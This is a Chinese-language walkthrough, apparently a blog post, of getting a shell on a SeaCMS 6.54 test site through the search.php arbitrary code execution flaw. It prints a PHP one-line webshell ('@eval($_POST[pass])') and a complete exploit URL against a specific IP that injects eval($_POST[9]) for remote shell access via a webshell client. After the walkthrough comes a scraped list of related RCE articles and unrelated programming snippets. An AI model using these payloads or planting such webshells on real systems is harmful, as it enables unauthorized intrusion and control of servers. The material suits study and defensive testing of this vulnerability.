实验环境:海洋CMS6.54(后续版本已该洞已补)

1、后台登录尝试

这个站点是个测试站,站里没什么数据。

进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破。有验证码的也有一个爆破软件,可以识别验证码的,但是试了试用不了。

后天失败。。。

2、网上搜集该CMS的漏洞

刚才也说了,这个站没什么数据,都是空的,无上传点。

百度搜索海洋CMS的漏洞,有好几个版本的。

1)v6.28:https://www.uedbox.com/seacms-v628-0day/

尝试失败,该版本的漏洞已不可用。

2)v6.45:参考https://www.freebuf.com/vuls/150042.html  和https://bbs.ichunqiu.com/thread-35140-1-5.html

漏洞是search.php的任意代码执行漏洞,

首页有许多的查询选项,我们随便选一个:

看到url:

然后使用hackbar进行上传:

执行payload后看到:(如果失败,换一个查询方式)

说明我们payload里的phpInfo()函数执行成功,该漏洞已成功被利用。

3、运用system()执行命令

将payload稍作修改:

在system()中就可以在服务器上执行命令了,但权限可能不够,如果权限可以的话,可以利用该语句写入一句话木马:

file_put_concents("connect.php","<?php @eval($_POST[pass]);?>"),然后连接菜刀即可。

这里只有读的权限,无法写入一句话。

4、拿shell

这是一个骚操作吧,尝试了很多次,网上查了一大堆,最终还是卡死,幸好有学长指点迷津,方柳暗花明。

还是用一句话连接,用system()无法写入,但可以这样连接。

首先看懂这个payload,我们知道phpinfo()执行成功,可能不太清楚原理,但大致能看懂,phpinfo()是利用这么一个漏洞,分开来写的(payload最后):9[]=ph&9[]=pinfo()。我们payload前面看,原来有一个分开的eval ($_POST[9])呀,这不是一句话嘛。但是要怎么利用呢,无法写入php文件的呀。

这个操作骚就骚在了用url来传递这个payload,而且只需传过去就能用菜刀连上。

利用payload构造url:http://222.22.65.134:15001/HaiYangCMS/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))

放入菜刀,那密码是什么呢,是9[],不是9。

于是乎,连接成功。

记一次海洋cms任意代码执行漏洞拿shell(url一句话)的更多相关文章

  1. i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)

    打开发现是海洋cms,那就搜索相关漏洞 找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49 直接利用其中给出的poc /searc ...

  2. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...

  3. WordPress wp-includes/functions.php脚本远程任意代码执行漏洞

    漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...

  4. 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞

    Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...

  5. 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析

    近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...

  6. 修复Apache Log4j任意代码执行漏洞安全风险通告

    2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...

  7. 漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)

    近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急 ...

  8. PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

    首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或  -dauto_prepend_ ...

  9. phpcms前台任意代码执行漏洞(php<5.3)

    phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞 /phpsso_server/phpcms/libs/functions/global.fu ...

随机推荐

  1. Titer软件学习(Translation Initiation siTE detectoR)

    Titer Source Codes lnk: https://github.com/zhangsaithu/titer 函数: collections.namedtuple()函数:https:// ...

  2. 吴裕雄 Bootstrap 前端框架开发——Bootstrap 显示代码:多行代码带有滚动条

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  3. 【剑指Offer面试编程题】题目1354:和为S的连续正数序列--九度OJ

    题目描述: 小明很喜欢数学,有一天他在做数学作业时,要求计算出9~16的和,他马上就写出了正确答案是100.但是他并不满足于此,他在想究竟有多少种连续的正数序列的和为100(至少包括两个数).没多久, ...

  4. 【原】python异步学习

    https://www.liaoxuefeng.com/wiki/1016959663602400/1017959540289152 https://www.jianshu.com/p/b5e347b ...

  5. python爬虫(五) ProxyHandler处理器

    ProxyHandler处理器 一.如果我们在一段时间内用某个ip地址访问了一个网站次数过多,网站就检测到不正常,就会禁止这个ip地址的访问.所以我们可以设置一些代理服务器,每段时间换个代理,就算ip ...

  6. SpringBoot + redis + @Cacheable注解实现缓存清除缓存

    一.Application启动类添加注解 @EnableCaching 二.注入配置 @Bean public CacheManager cacheManager(RedisTemplate redi ...

  7. JDBC 存储过程

    存储过程 DROP PROCEDURE IF EXISTS `addUser`; CREATE PROCEDURE `addUser` (),in birthday date,in money flo ...

  8. MySQL : INSERT INTO SELECT

    INSERT INTO wx_announcement_push ( title, content, STATUS, del_flag, user_login_name ) SELECT '大家好', ...

  9. 用instsrv.exe+srvany.exe将应用程序安装为windows服务

    下载 链接:https://pan.baidu.com/s/1gKu_WwVo-TeWXmrGAr9qjw 提取码:s1vm 用instsrv.exe安装srvany.exe 将instsrv.exe ...

  10. PostgreSQL存取jsonb

    从PostgreSQL 9.3开始,json就成了postgres里的一种数据类型,也就是和varchar.int一样,我们表里的一个字段的类型可以为json了. 与此同时,postgres还提供了j ...